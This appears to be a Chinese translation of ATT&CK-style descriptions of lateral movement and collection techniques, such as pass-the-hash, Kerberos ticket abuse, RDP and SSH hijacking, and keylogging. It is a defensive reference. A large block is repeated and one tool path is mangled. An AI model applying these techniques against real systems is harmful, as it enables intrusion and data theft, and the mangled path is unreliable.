Windows 分布式组件对象模型 (DCOM) 是一种透明的中间件,它使用远程过程调用 (RPC) 技术将组件对象模型 (COM) 的功能扩展到本地计算机之外。 COM 是 Windows 应用程序编程接口 (API) 的一个组件,它支持软件对象之间的交互。 通过 COM,客户端对象可以调用服务器对象的方法,这些方法通常是动态链接库 (DLL) 或可执行文件 (EXE)。 与本地和远程服务器 COM 对象交互的权限由注册表中的访问控制列表 (ACL) 指定。 默认情况下,只有管理员可以通过 DCOM 远程激活和启动 COM 对象。 攻击者可以使用 DCOM 进行横向移动。 通过 DCOM,在具有适当特权的用户上下文中操作的攻击者可以通过 Office 应用程序 以及其他包含不安全方法的 Windows 对象远程实现任意执行甚至直接执行 shellcode。 DCOM 还可以在现有文档 中执行宏,也可以直接通过 COM 创建的 Microsoft Office 应用程序实例调用动态数据交换(DDE),从而不需要恶意文档。 DCOM 还可以暴露能够在攻击者活动链(如特权提升和持久化)的其他部分中利用的功能。

远程服务的利用

软件漏洞利用是指攻击者利用程序、服务或操作系统软件或内核本身的编程错误来执行攻击者控制的代码时。 远程服务利用的后渗透攻击的一个常见目标是横向移动以获得对远程系统的访问。 攻击者可能需要确定远程系统是否处于一个易受攻击的状态,这可能是通过网络服务扫描 (Network Service Scanning ) 或其他披露技术,披露常见,易受攻击的软件,这些软件可能被部署在网络,缺少一定的补丁从而可能存在漏洞,或用于检测或包含远程利用的安全软件。 服务器很可能是横向移动利用的高价值目标,但是提供优势或对额外资源访问权的终端系统也可能面临风险。 SMB 和 RDP 等常见服务,以及 MySQL 和 Web 服务器服务等可能在内部网络中使用的应用程序存在一些众所周知的漏洞, 攻击者也可以通过横向移动利用技术 (Exploitation for Privilege Escalation) 来提权,具体取决于易受攻击的远程服务的权限级别。

Logon Scripts

A. Windows Windows 允许特定用户或用户组登录系统时运行登录脚本。 脚本可用于执行管理功能,这些功能通常需要执行其他程序或将信息发送到内部日志记录服务器。 如果攻击者有权限访问这些脚本,他们可以在登录脚本中插入其他代码,以便在用户登录时执行他们的工具。如果该脚本是本地的,这段代码可以让他们在单个系统上实现长久控制。如果脚本存储在中央服务器上并被推送到许多系统,那么这样做可以帮助攻击者在网络横向移动。访问登录脚本可能需要本地凭据或管理员帐户,这取决于脚本的访问配置。 B. Mac 只要特定用户登录或退出系统,Mac 就允许以 root 身份运行登录和注销钩子。登录钩子告知 Mac OS X 在用户登录时应执行哪一脚本,与启动项不同的是,登录钩子以 root 身份执行 。但是一次只能执行一个登录钩子。如果攻击者有权限访问这些脚本,他们可以在脚本中插入其他代码,以便在用户登录时执行攻击者的工具。

哈希传递

哈希传递 (PtH) 是一种不需要访问用户明文密码就可以验证用户身份的方法。此方法绕过需要明文密码的标准身份验证步骤,直接进入使用密码散列的身份验证部分。在此技术中,使用凭据访问 (Credential Access) 技术获取所使用帐户的有效密码散列。获取的散列与 PtH 一起用于该用户的身份验证。通过身份验证后,可以使用 PtH 在本地或远程系统上执行操作。

票据传递

票据传递 (PtT) 是一种利用 Kerberos 票据对系统进行身份验证的方法,无需访问帐户密码。Kerberos 身份验证可以作为横向移动到远程系统的第一步。 该技术利用凭据转储 (Credential Dumping) 获取有效帐户 (Valid Account) 的有效 Kerberos 票据。可以获得用户的服务票据或 Ticket Granting Ticket (TGT),这取决于访问级别。服务票据允许访问特定的资源,而 TGT 可用于从票据授权服务 (TGS) 请求服务票据来访问用户有权访问的任何资源。 可以为使用 Kerberos 作为身份验证机制的服务获取白银票据,这些服务用于生成票据来访问特定的资源和拥有资源的系统(例如 SharePoint)。可以使用密钥分发服务 (Key Distribution Service) 帐户 KRBTGT 帐户的 NTLM 散列为域获取黄金票据,该散列允许为活动目录 (Active Directory) 中的任何帐户生成 TGT。

远程桌面协议

远程桌面是操作系统中的一个常见功能。它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。Microsoft 将其远程桌面协议 (Remote Desktop Protocol, RDP) 的实现称为远程桌面服务 (Remote Desktop Services, RDS)。还有其他实现和第三方工具提供类似于 RDS 的图形化远程服务访问。 如果启用了该服务并允许访问具有已知凭据的帐户,则攻击者可以通过 RDP/RDS 连接到远程系统以扩展访问。­攻击者可能会使用凭据访问技术来获取与 RDP 结合使用的凭据。攻击者也可以将 RDP 与可访问性特性技术 (Accessibility Features) 结合使用以实现持久性。 攻击者也可以执行 RDP 会话劫持,包括窃取合法用户的远程会话。通常,当其他人试图窃取用户的会话时,(系统)会通知用户并提出一个问题。有了系统权限,攻击者可以使用终端服务控制台 c:32.exe
劫持会话而不需要凭据,也没有给用户的提示。这可以结合活动会话或已断开的会话远程或本地完成。它还可以通过窃取域管理员或更高权限的帐户会话来导致远程系统发现和权限升级。所有这些都可以通过使用本机 Windows 命令来完成,但 RedSnarf 也有这个功能。

远程文件复制

攻击者在操作过程中,可以将文件从一个系统复制到另一个系统以暂存攻击者的工具或其他文件。 可以通过命令与控制信道从外部攻击者控制系统复制文件,从而将工具放入受害者网络,或通过与 FTP 等其他工具的备用协议复制。 也可以使用 scp,rsync 和 sftp 等本机工具在 Mac 和 Linux 上复制文件。 攻击者还可以在内部受害者系统之间横向复制文件,以支持使用固有文件共享协议进行远程执行的横向移动,例如通过 SMB 与连接的网络共享或使用 Windows 管理员共享或远程桌面协议的经过身份验证的连接进行文件共享。

远程服务

攻击者可以使用有效帐户登录专门接受远程连接的服务,例如 telnet,SSH 和 VNC。然后攻击者可以作为登录用户执行操作。 通过可移动媒体进行复制 攻击者可以通过将恶意软件复制到可移动的媒体上,利用媒体插入系统并执行的自动运行特性,转移到系统,这些系统大概在未连通或气隙网络上。在横向移动 (Lateral Movement) 中,可以修改可移动媒体中的可执行文件,或者复制恶意软件并将其重命名,使其看起来像合法文件,从而诱使用户在独立的系统上执行它。对于初始访问(Initial Access),可以通过手动操作媒体、修改用于初始格式化媒体的系统或修改媒体本身的固件来实现。

SSH 劫持

Secure Shell (SSH) 是 Linux 和 macOS 系统上远程访问的标准方法。 它允许用户通过加密隧道连接到另一个系统,通常使用密码、证书或非对称加密密钥对进行身份验证。 为了从受攻击的主机横向运动,攻击者可以利用在活动 SSH 会话中通过公钥身份验证与其他系统建立的信任关系,劫持与其他系统的现有连接。 这可以通过攻击 SSH 代理本身或访问代理的套接字来实现。 如果攻击者能够获得 root 访问权,那么劫持 SSH 会话应该轻而易举。 攻击 SSH 代理还提供可用于拦截 SSH 凭据的访问权限。 SSH 劫持与远程服务的使用不同,因为它将注入到现有 SSH 会话中,而不是使用有效帐户创建新会话。

共享 Webroot

攻击者可以通过包含网站的 webroot 或 Web 内容目录 的开放网络文件共享将恶意内容添加到内部可访问的网站,然后使用 Web 浏览器浏览到该内容以使服务器执行恶意内容。恶意内容一般在 Web 服务器进程的上下文和权限下运行,通常在本地系统或管理员权限下运行,具体取决于 Web 服务器的配置方式。 这种共享访问和远程执行机制可用于横向移动到运行 Web 服务器的系统。例如,使用开放网络共享运行 PHP 的 Web 服务器使攻击者可以上传远程访问工具和 PHP 脚本,以便在特定页面被访问时,在 Web 服务器系统上执行 RAT 病毒。

污染共享内容

存储在网络驱动器或其他共享位置上的内容可能被污染,通过添加恶意程序、脚本或漏洞利用代码到其他有效文件中。 一旦用户打开受污染的共享内容,就会执行恶意部分内容,从而在远程系统上运行攻击者的代码。 攻击者可以使用受污染的共享内容来横向移动。 目录共享 pivot 是该技术的变体,当用户访问共享网络目录时,它使用其他几种技术传播恶意软件。 它利用快捷方式修改。LNK 文件的目录,使用伪装 (Masquerading)技术使其看起来像真实的目录,这些目录通过隐藏文件和目录技术(Hidden Files and Directories)进行隐藏。 基于恶意。LNK 的目录具有嵌入式命令,该命令执行目录中隐藏的恶意程序文件,再打开实际的目标目录,所以仍然会发生用户的预期操作。 当与经常使用的网络目录结合使用时,该技术可能导致频繁的重新感染和对系统以及潜在的新账户和更高特权的帐户的广泛访问。

第三方软件

在网络环境中可以使用第三方应用程序和软件部署系统来管理(例如,SCCM、VNC、HBSS、Altiris 等)。如果攻击者获得对这些系统的访问权,那么他们可能能够执行代码。 攻击者可以访问和使用安装在企业网络中的第三方应用程序部署系统。通过访问网络范围或企业范围的软件部署系统,攻击者可以在连接到此类系统的所有系统上远程执行代码。这种访问可以用于横向移动到系统,收集信息,或者产生特定效果,例如清除所有终端上的硬盘驱动器。 此操作所需的权限因系统配置而异;直接访问部署服务器时,本地凭据可能就足够了,也可能需要特定的域凭据。但是,系统可能要求管理员帐户进行登录或执行软件部署。

Windows 管理共享

Windows 系统具有只能由管理员访问的隐藏网络共享,并提供远程文件复制和其他管理功能。 例如网络共享 C$,ADMIN$,和 IPC$。 攻击者可以将此技术与管理员级别的有效帐户结合使用,通过服务器消息块(SMB)远程访问联网系统 ,以便使用远程过程调用(RPC), 传输文件,还有通过远程执行运行传输的二进制文件。 依赖于 SMB/RPC 上经过身份验证的会话的示例执行技术有计划任务(Scheduled Task)、服务执行(Service Execution)和 Windows 管理规范(Windows Management Instrumentation)。 结合哈希传递技术和特定配置和补丁级别,攻击者也可以使用 NTLM hash 来访问系统上的管理共享, 可使用 Net 实用程序连接远程系统上的 Windows 管理共享,通过具有有效凭据的 net use 命令。

Windows 远程管理

Windows 远程管理(WinRM)代表允许用户与远程系统交互的 Windows 服务和协议(例如,运行可执行文件,修改注册表,修改服务)。 winrm 命令和很多程序(如 PowerShell)都可以调用它。

web session Cookie

攻击者可以使用被盗的会话cookie来对Web应用程序和服务进行身份验证。由于会话已通过身份验证,因此该技术绕过了一些多因素身份验证协议。 用户对服务进行身份验证后,身份验证cookie通常在Web应用程序(包括基于云的服务)中使用,因此无需传递凭据,也不需要频繁进行重新身份验证。即使没有积极使用Web应用程序,Cookie通常也可以长期有效。通过Steal Web Session Cookie(T1539)获得cookie之后(T1539),对手将cookie导入到他们控制的浏览器中,并且只要会话cookie处于活动状态,便能够以用户身份使用该站点或应用程序。一旦登录到站点,攻击者就可以访问敏感信息,阅读电子邮件或执行受害者帐户有权执行的操作。

内置鱼叉

攻击者可以使用内部骗局来获得其他信息的访问权,或者在他们已经可以访问环境中的帐户或系统之后利用同一组织内的其他用户。内部鱼叉式攻击是一种多阶段攻击,其中通过使用以前安装的恶意软件控制用户的设备或破坏用户的帐户凭据来拥有电子邮件帐户。攻击者试图利用可信任的内部帐户来增加诱骗目标使其陷入网络钓鱼尝试的可能性。 攻击者可以将鱼叉(T1193)式钓鱼附件(T1193)或鱼叉式(T1192)钓鱼链接(T1192)作为内部鱼叉式(T1192)钓鱼的一部分来传递有效负载或重定向到外部站点,以通过模仿电子邮件登录界面的站点上的输入捕获(T1056)来捕获凭据。 曾发生过使用内部鱼叉式鱼雷的显着事件。“ Eye Pyramid”使用带有恶意附件的网络钓鱼电子邮件在受害者之间横向移动,在此过程中破坏了将近18,000个电子邮件帐户。 叙利亚电子军(SEA)在英国《金融时报》入侵了电子邮件帐户,以窃取其他帐户凭据。金融时报获悉该攻击并开始警告员工该威胁后,SEA发送了仿冒金融时报IT部门的网络钓鱼电子邮件,并能够危害更多用户。

Lateral Movement 简介

横向移动(Lateral Movement)包括使攻击者能够访问和控制网络和云上的远程系统的技术,但不一定包括在远程系统上执行的工具。横向移动技术允许攻击者收集系统信息而无需额外的工具,如远程访问工具。 其主要包含的战术内容如下:

AppleScript

macOS 和 OS X 应用程序相互发送 AppleEvent 消息进行进程间通信 (IPC)。 可以使用 AppleScript 为本地或远程 IPC 轻松编写这些消息。 Osascript 执行 AppleScript 和任何其他开放式脚本编写体系结构 (OSA) 语言脚本。 可以使用 osalang 程序找到安装在系统上的 OSA 语言列表。AppleEvent 消息可以独立发送或作为脚本的一部分发送。 这些事件可以定位打开的窗口,发送击键,并与几乎任何本地或远程打开的应用程序交互。 攻击者可以使用它与打开的 SSH 连接进行交互,移动到远程机器,甚至向用户显示虚假的对话框。 这些事件无法远程启动应用程序(尽管它们可以在本地启动),但可以与远程已运行的程序交互。 由于这是一种脚本语言,因此也可以使用它来启动更常见的技术,比如通过 python 来启动一个反向 shell。 在命令行中通过 osascript /path/to/script 或 osascript -e“script here”运行脚本。

应用部署软件

攻击者可以使用企业管理员使用的应用程序部署系统将恶意软件部署到网络中的系统。此操作所需的权限因系统配置而异;直接访问部署服务器可能需要本地凭据或特定的域凭据。但是,系统可能需要管理帐户才能登录或执行软件部署。 拥有网络范围或企业范围的软件部署系统的访问权限使攻击者能够在与该系统连接的所有系统上执行远程代码。该访问可用于横向移动到系统,收集信息或产生特定效果,例如擦除所有终端上的硬盘。

分布式组件对象模型

Windows 分布式组件对象模型 (DCOM) 是一种透明的中间件,它使用远程过程调用 (RPC) 技术将组件对象模型 (COM) 的功能扩展到本地计算机之外。 COM 是 Windows 应用程序编程接口 (API) 的一个组件,它支持软件对象之间的交互。 通过 COM,客户端对象可以调用服务器对象的方法,这些方法通常是动态链接库 (DLL) 或可执行文件 (EXE)。 与本地和远程服务器 COM 对象交互的权限由注册表中的访问控制列表 (ACL) 指定。 默认情况下,只有管理员可以通过 DCOM 远程激活和启动 COM 对象。 攻击者可以使用 DCOM 进行横向移动。 通过 DCOM,在具有适当特权的用户上下文中操作的攻击者可以通过 Office 应用程序 以及其他包含不安全方法的 Windows 对象远程实现任意执行甚至直接执行 shellcode。 DCOM 还可以在现有文档 中执行宏,也可以直接通过 COM 创建的 Microsoft Office 应用程序实例调用动态数据交换(DDE),从而不需要恶意文档。 DCOM 还可以暴露能够在攻击者活动链(如特权提升和持久化)的其他部分中利用的功能。

远程服务的利用

软件漏洞利用是指攻击者利用程序、服务或操作系统软件或内核本身的编程错误来执行攻击者控制的代码时。 远程服务利用的后渗透攻击的一个常见目标是横向移动以获得对远程系统的访问。 攻击者可能需要确定远程系统是否处于一个易受攻击的状态,这可能是通过网络服务扫描 (Network Service Scanning ) 或其他披露技术,披露常见,易受攻击的软件,这些软件可能被部署在网络,缺少一定的补丁从而可能存在漏洞,或用于检测或包含远程利用的安全软件。 服务器很可能是横向移动利用的高价值目标,但是提供优势或对额外资源访问权的终端系统也可能面临风险。 SMB 和 RDP 等常见服务,以及 MySQL 和 Web 服务器服务等可能在内部网络中使用的应用程序存在一些众所周知的漏洞, 攻击者也可以通过横向移动利用技术 (Exploitation for Privilege Escalation) 来提权,具体取决于易受攻击的远程服务的权限级别。

Logon Scripts

A. Windows Windows 允许特定用户或用户组登录系统时运行登录脚本。 脚本可用于执行管理功能,这些功能通常需要执行其他程序或将信息发送到内部日志记录服务器。 如果攻击者有权限访问这些脚本,他们可以在登录脚本中插入其他代码,以便在用户登录时执行他们的工具。如果该脚本是本地的,这段代码可以让他们在单个系统上实现长久控制。如果脚本存储在中央服务器上并被推送到许多系统,那么这样做可以帮助攻击者在网络横向移动。访问登录脚本可能需要本地凭据或管理员帐户,这取决于脚本的访问配置。 B. Mac 只要特定用户登录或退出系统,Mac 就允许以 root 身份运行登录和注销钩子。登录钩子告知 Mac OS X 在用户登录时应执行哪一脚本,与启动项不同的是,登录钩子以 root 身份执行 。但是一次只能执行一个登录钩子。如果攻击者有权限访问这些脚本,他们可以在脚本中插入其他代码,以便在用户登录时执行攻击者的工具。

哈希传递

哈希传递 (PtH) 是一种不需要访问用户明文密码就可以验证用户身份的方法。此方法绕过需要明文密码的标准身份验证步骤,直接进入使用密码散列的身份验证部分。在此技术中,使用凭据访问 (Credential Access) 技术获取所使用帐户的有效密码散列。获取的散列与 PtH 一起用于该用户的身份验证。通过身份验证后,可以使用 PtH 在本地或远程系统上执行操作。

票据传递

票据传递 (PtT) 是一种利用 Kerberos 票据对系统进行身份验证的方法,无需访问帐户密码。Kerberos 身份验证可以作为横向移动到远程系统的第一步。 该技术利用凭据转储 (Credential Dumping) 获取有效帐户 (Valid Account) 的有效 Kerberos 票据。可以获得用户的服务票据或 Ticket Granting Ticket (TGT),这取决于访问级别。服务票据允许访问特定的资源,而 TGT 可用于从票据授权服务 (TGS) 请求服务票据来访问用户有权访问的任何资源。 可以为使用 Kerberos 作为身份验证机制的服务获取白银票据,这些服务用于生成票据来访问特定的资源和拥有资源的系统(例如 SharePoint)。可以使用密钥分发服务 (Key Distribution Service) 帐户 KRBTGT 帐户的 NTLM 散列为域获取黄金票据,该散列允许为活动目录 (Active Directory) 中的任何帐户生成 TGT。

远程桌面协议

远程桌面是操作系统中的一个常见功能。它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。Microsoft 将其远程桌面协议 (Remote Desktop Protocol, RDP) 的实现称为远程桌面服务 (Remote Desktop Services, RDS)。还有其他实现和第三方工具提供类似于 RDS 的图形化远程服务访问。 如果启用了该服务并允许访问具有已知凭据的帐户,则攻击者可以通过 RDP/RDS 连接到远程系统以扩展访问。­攻击者可能会使用凭据访问技术来获取与 RDP 结合使用的凭据。攻击者也可以将 RDP 与可访问性特性技术 (Accessibility Features) 结合使用以实现持久性。 攻击者也可以执行 RDP 会话劫持,包括窃取合法用户的远程会话。通常,当其他人试图窃取用户的会话时,(系统)会通知用户并提出一个问题。有了系统权限,攻击者可以使用终端服务控制台 c:32.exe
劫持会话而不需要凭据,也没有给用户的提示。这可以结合活动会话或已断开的会话远程或本地完成。它还可以通过窃取域管理员或更高权限的帐户会话来导致远程系统发现和权限升级。所有这些都可以通过使用本机 Windows 命令来完成,但 RedSnarf 也有这个功能。

远程文件复制

攻击者在操作过程中,可以将文件从一个系统复制到另一个系统以暂存攻击者的工具或其他文件。 可以通过命令与控制信道从外部攻击者控制系统复制文件,从而将工具放入受害者网络,或通过与 FTP 等其他工具的备用协议复制。 也可以使用 scp,rsync 和 sftp 等本机工具在 Mac 和 Linux 上复制文件。 攻击者还可以在内部受害者系统之间横向复制文件,以支持使用固有文件共享协议进行远程执行的横向移动,例如通过 SMB 与连接的网络共享或使用 Windows 管理员共享或远程桌面协议的经过身份验证的连接进行文件共享。

远程服务

攻击者可以使用有效帐户登录专门接受远程连接的服务,例如 telnet,SSH 和 VNC。然后攻击者可以作为登录用户执行操作。 通过可移动媒体进行复制 攻击者可以通过将恶意软件复制到可移动的媒体上,利用媒体插入系统并执行的自动运行特性,转移到系统,这些系统大概在未连通或气隙网络上。在横向移动 (Lateral Movement) 中,可以修改可移动媒体中的可执行文件,或者复制恶意软件并将其重命名,使其看起来像合法文件,从而诱使用户在独立的系统上执行它。对于初始访问(Initial Access),可以通过手动操作媒体、修改用于初始格式化媒体的系统或修改媒体本身的固件来实现。

SSH 劫持

Secure Shell (SSH) 是 Linux 和 macOS 系统上远程访问的标准方法。 它允许用户通过加密隧道连接到另一个系统,通常使用密码、证书或非对称加密密钥对进行身份验证。 为了从受攻击的主机横向运动,攻击者可以利用在活动 SSH 会话中通过公钥身份验证与其他系统建立的信任关系,劫持与其他系统的现有连接。 这可以通过攻击 SSH 代理本身或访问代理的套接字来实现。 如果攻击者能够获得 root 访问权,那么劫持 SSH 会话应该轻而易举。 攻击 SSH 代理还提供可用于拦截 SSH 凭据的访问权限。 SSH 劫持与远程服务的使用不同,因为它将注入到现有 SSH 会话中,而不是使用有效帐户创建新会话。

共享 Webroot

攻击者可以通过包含网站的 webroot 或 Web 内容目录 的开放网络文件共享将恶意内容添加到内部可访问的网站,然后使用 Web 浏览器浏览到该内容以使服务器执行恶意内容。恶意内容一般在 Web 服务器进程的上下文和权限下运行,通常在本地系统或管理员权限下运行,具体取决于 Web 服务器的配置方式。 这种共享访问和远程执行机制可用于横向移动到运行 Web 服务器的系统。例如,使用开放网络共享运行 PHP 的 Web 服务器使攻击者可以上传远程访问工具和 PHP 脚本,以便在特定页面被访问时,在 Web 服务器系统上执行 RAT 病毒。

污染共享内容

存储在网络驱动器或其他共享位置上的内容可能被污染,通过添加恶意程序、脚本或漏洞利用代码到其他有效文件中。 一旦用户打开受污染的共享内容,就会执行恶意部分内容,从而在远程系统上运行攻击者的代码。 攻击者可以使用受污染的共享内容来横向移动。 目录共享 pivot 是该技术的变体,当用户访问共享网络目录时,它使用其他几种技术传播恶意软件。 它利用快捷方式修改。LNK 文件的目录,使用伪装 (Masquerading)技术使其看起来像真实的目录,这些目录通过隐藏文件和目录技术(Hidden Files and Directories)进行隐藏。 基于恶意。LNK 的目录具有嵌入式命令,该命令执行目录中隐藏的恶意程序文件,再打开实际的目标目录,所以仍然会发生用户的预期操作。 当与经常使用的网络目录结合使用时,该技术可能导致频繁的重新感染和对系统以及潜在的新账户和更高特权的帐户的广泛访问。

第三方软件

在网络环境中可以使用第三方应用程序和软件部署系统来管理(例如,SCCM、VNC、HBSS、Altiris 等)。如果攻击者获得对这些系统的访问权,那么他们可能能够执行代码。 攻击者可以访问和使用安装在企业网络中的第三方应用程序部署系统。通过访问网络范围或企业范围的软件部署系统,攻击者可以在连接到此类系统的所有系统上远程执行代码。这种访问可以用于横向移动到系统,收集信息,或者产生特定效果,例如清除所有终端上的硬盘驱动器。 此操作所需的权限因系统配置而异;直接访问部署服务器时,本地凭据可能就足够了,也可能需要特定的域凭据。但是,系统可能要求管理员帐户进行登录或执行软件部署。

Windows 管理共享

Windows 系统具有只能由管理员访问的隐藏网络共享,并提供远程文件复制和其他管理功能。 例如网络共享 C$,ADMIN$,和 IPC$。 攻击者可以将此技术与管理员级别的有效帐户结合使用,通过服务器消息块(SMB)远程访问联网系统 ,以便使用远程过程调用(RPC), 传输文件,还有通过远程执行运行传输的二进制文件。 依赖于 SMB/RPC 上经过身份验证的会话的示例执行技术有计划任务(Scheduled Task)、服务执行(Service Execution)和 Windows 管理规范(Windows Management Instrumentation)。 结合哈希传递技术和特定配置和补丁级别,攻击者也可以使用 NTLM hash 来访问系统上的管理共享, 可使用 Net 实用程序连接远程系统上的 Windows 管理共享,通过具有有效凭据的 net use 命令。

Windows 远程管理

Windows 远程管理(WinRM)代表允许用户与远程系统交互的 Windows 服务和协议(例如,运行可执行文件,修改注册表,修改服务)。 winrm 命令和很多程序(如 PowerShell)都可以调用它。

web session Cookie

攻击者可以使用被盗的会话cookie来对Web应用程序和服务进行身份验证。由于会话已通过身份验证,因此该技术绕过了一些多因素身份验证协议。 用户对服务进行身份验证后,身份验证cookie通常在Web应用程序(包括基于云的服务)中使用,因此无需传递凭据,也不需要频繁进行重新身份验证。即使没有积极使用Web应用程序,Cookie通常也可以长期有效。通过Steal Web Session Cookie(T1539)获得cookie之后(T1539),对手将cookie导入到他们控制的浏览器中,并且只要会话cookie处于活动状态,便能够以用户身份使用该站点或应用程序。一旦登录到站点,攻击者就可以访问敏感信息,阅读电子邮件或执行受害者帐户有权执行的操作。

内置鱼叉

攻击者可以使用内部骗局来获得其他信息的访问权,或者在他们已经可以访问环境中的帐户或系统之后利用同一组织内的其他用户。内部鱼叉式攻击是一种多阶段攻击,其中通过使用以前安装的恶意软件控制用户的设备或破坏用户的帐户凭据来拥有电子邮件帐户。攻击者试图利用可信任的内部帐户来增加诱骗目标使其陷入网络钓鱼尝试的可能性。 攻击者可以将鱼叉(T1193)式钓鱼附件(T1193)或鱼叉式(T1192)钓鱼链接(T1192)作为内部鱼叉式(T1192)钓鱼的一部分来传递有效负载或重定向到外部站点,以通过模仿电子邮件登录界面的站点上的输入捕获(T1056)来捕获凭据。 曾发生过使用内部鱼叉式鱼雷的显着事件。“ Eye Pyramid”使用带有恶意附件的网络钓鱼电子邮件在受害者之间横向移动,在此过程中破坏了将近18,000个电子邮件帐户。 叙利亚电子军(SEA)在英国《金融时报》入侵了电子邮件帐户,以窃取其他帐户凭据。金融时报获悉该攻击并开始警告员工该威胁后,SEA发送了仿冒金融时报IT部门的网络钓鱼电子邮件,并能够危害更多用户。

Collection 简介


收集(Collection)包括用于在数据渗漏之前从目标网络识别和收集信息(例如敏感文件)的技术,还包括系统或网络上的位置,攻击者可能会在这些位置查找要泄露的信息。
其主要包含的战术内容如下:

音频捕获

攻击者可以利用计算机的外围设备(如麦克风和网络摄像头)或应用程序(如语音和视频通话服务)捕获音频记录,以便监听敏感对话从而收集情报。 恶意软件或脚本可以通过操作系统或应用程序提供的可用 API 与设备交互来捕获音频。 音频文件可能被写入磁盘,然后被攻击者窃取。

自动化收集

一旦在系统或网络中立足,攻击者就可以使用自动化技术收集内部数据。 执行此技术的方法包括以特定时间间隔使用脚本搜索并拷贝符合设置标准的信息,如文件类型、位置或名称。此功能也可以内置到远程访问工具中。 这种技术可以与其他技术结合使用,如文件和目录披露以及远程文件复制来识别和移动文件。

剪贴板数据

攻击者可以在用户在程序内或程序间复制信息时,收集存储在 Windows 剪贴板中的数据。 A. Windows 应用程序可以使用 Windows API 访问剪贴板数据。 B. Mac OSX 中,本地命令 pbpaste 用于捕获剪贴板内容 。 数据暂存 在渗漏数据 (Exfiltration) 之前,收集的数据被集中保存在一个位置或目录中。 数据可以保存在单独的文件中,也可以通过压缩数据或加密数据等技术组合成一个文件。 可以使用交互式命令 shell,并且可以使用 cmd 和 bash 中的常见功能将数据复制到暂存位置。

信息库中的数据

攻击者可以利用信息库来挖掘有价值的信息。 信息库是存储信息的工具,通常用于促进用户之间的协作或信息共享,并可以存储各种各样的数据,这些数据可能有助于攻击者实现进一步的目标,或者直接访问靶机信息。 以下是可能对攻击者有用的示例信息的简要列表,也可能在信息库中找到: - 政策、程序和标准 - 物理/逻辑网络图 - 系统架构图 - 技术系统文档 - 测试/开发凭据 - 工作/项目时间表 - 源代码片段 指向网络共享和其他特定于内部资源的公共信息存储库的链接包括: Microsoft SharePoint 存在于许多企业网络中,通常用于存储和共享大量文档。 Atlassian Confluence Confluence 通常与 Atlassian JIRA 一起在开发环境中使用,通常用于存储与开发相关的文档。

本地系统的数据

可以从本地系统源收集敏感数据,例如文件系统或在数据渗漏 (Exfiltration) 之前在系统上的信息数据库。 攻击者通常会在他们已经入侵的计算机上搜索文件系统,以查找感兴趣的文件。他们可以使用命令行界面(例如 cmd](https://attack.mitre.org/software/S0106))执行此操作,该界面与文件系统交互以收集信息。一些攻击者还可能在本地系统上使用自动化收集 (Automated Collection)。

网络共享驱动器中的数据

可以通过共享网络驱动器(主机共享目录,网络文件服务器等)从远程系统收集敏感数据,在窃取数据(Exfiltration)之前可以从当前操作系统访问这些驱动器。 攻击者可以在他们已经入侵的计算机上搜索网络共享文件以查找感兴趣的文件。可以使用交互式命令终端和 cmd 的常见功能来收集信息。

可移动媒体的数据

在进行数据渗漏之前,攻击者可以从与被入侵系统连接的任何可移动媒体(光盘驱动器,USB 存储器等)处收集敏感数据。 攻击者可以在他们已经入侵的计算机上搜索连接的可移动媒体,以查找感兴趣的文件。可以使用交互式命令终端和 cmd 的常见功能来收集信息。一些攻击者还可以在可移动媒体上进行自动收集信息。

电子邮件收集

攻击者可能会以用户电子邮件为目标,从目标处收集敏感信息。 可以从用户的系统中获取包含电子邮件数据的文件,例如 Outlook 存储或缓存文件。pst 和。ost。 攻击者可以利用用户的凭据并与 Exchange Server 直接交互,从而从网络中获取信息。 一些攻击者可能获得用户凭据并访问外部的 Web 邮件应用程序,例如 Outlook Web Access。

输入捕获

攻击者可以使用捕获用户输入的方法来获取有效帐户的凭据和收集信息,包括键盘记录和用户输入字段拦截。 键盘记录是最常见的输入捕获类型,有许多不同的方法来拦截击键、 但也有针对特定的目的来获取信息的其他方法,例如执行 UAC 提示或包装 Windows 默认凭据提供程序。­ 当凭据转储(Credential Dumping)无效时,可能会使用键盘记录、 (Keylogging)来获取新访问的凭据,并且可能需要攻击者在机会出现之前在系统上保持一段时间的被动。 攻击者还可以在外部门户(例如 VPN 登录页面)上安装代码,以捕获和传输试图登录到服务的用户的凭据。这种输入捕获上的变体可以在攻击后进行,使用合法的管理访问权作为备份措施来维护通过外部远程服务(External Remote Services)和有效帐户(Valid Accounts)的网络访问,或者通过利用外部 web 服务作为初始攻击的一部分。

浏览器中间人

攻击者可以利用浏览器软件中的安全漏洞和固有功能来更改内容、修改行为和拦截信息,作为浏览器中间人技术的一部分。 一个具体的例子是,当攻击者将软件注入浏览器时,浏览器允许他们继续使用用户的 cookie、HTTP 会话和 SSL 客户端证书,并将浏览器作为一种转向已验证的内网的方式。 浏览器代理 (Browser pivot) 需要 SeDebugPrivilege 和一个高完整性的进程来执行。 通过设置 HTTP 代理(将重定向任何 HTTP 和 HTTPS 流量),将浏览器流量从攻击者的浏览器转向用户的浏览器。 这不会以任何方式改变用户的流量。 一旦浏览器被关闭,代理连接就会中断。 无论将代理注入哪个浏览器进程,攻击者都承担该进程的安全上下文。 浏览器通常为打开的每个选项卡创建一个新进程,并相应地分离权限和证书。 有了这些权限,攻击者可以浏览任何可以通过浏览器访问的内网资源,以及浏览器具有足够的权限,比如 Sharepoint 或 webmail。 浏览器代理 (Browser Pivot) 还消除了双重因素身份验证提供的安全性。

屏幕截图

攻击者可能会试图在操作过程中捕获桌面的屏幕截图从而收集信息。 屏幕截图可以作为功能包括在后渗透攻击中所用的远程访问工具中。 A. Mac 在 OSX 上,本机命令 screencapture 用于截屏。 Linux B. 在 Linux 上,本机命令 xwd 用于截屏。

视频捕获

攻击者可以利用计算机的外围设备(如集成摄像头或网络摄像头)或应用程序(如视频通话服务)捕获视频记录以便收集情报。 还可以从设备或应用程序捕获图像(可能以指定的间隔),从而替代视频文件。 恶意软件或脚本可以通过操作系统或应用程序提供的可用 API 与设备交互,以捕获视频或图像。 视频或图像文件可能被写入磁盘,然后被攻击者窃取。 这种技术不同于屏幕捕获 (Screen Capture),它使用特定的设备或应用程序进行视频录制,而不是捕获受害者的屏幕。 在 macOS 中,有一些不同的恶意软件样本可以监视用户的网络摄像头,比如 FruitFly 和 Proton。

Exfiltration 简介

数据泄漏(Exfiltration)指的是导致或帮助攻击者从目标网络中删除文件和信息的技术和属性,还包括系统或网络上的位置,攻击者可能会在这些位置查找要泄露的信息。 其主要包含的战术内容如下:

自动化数据泄漏

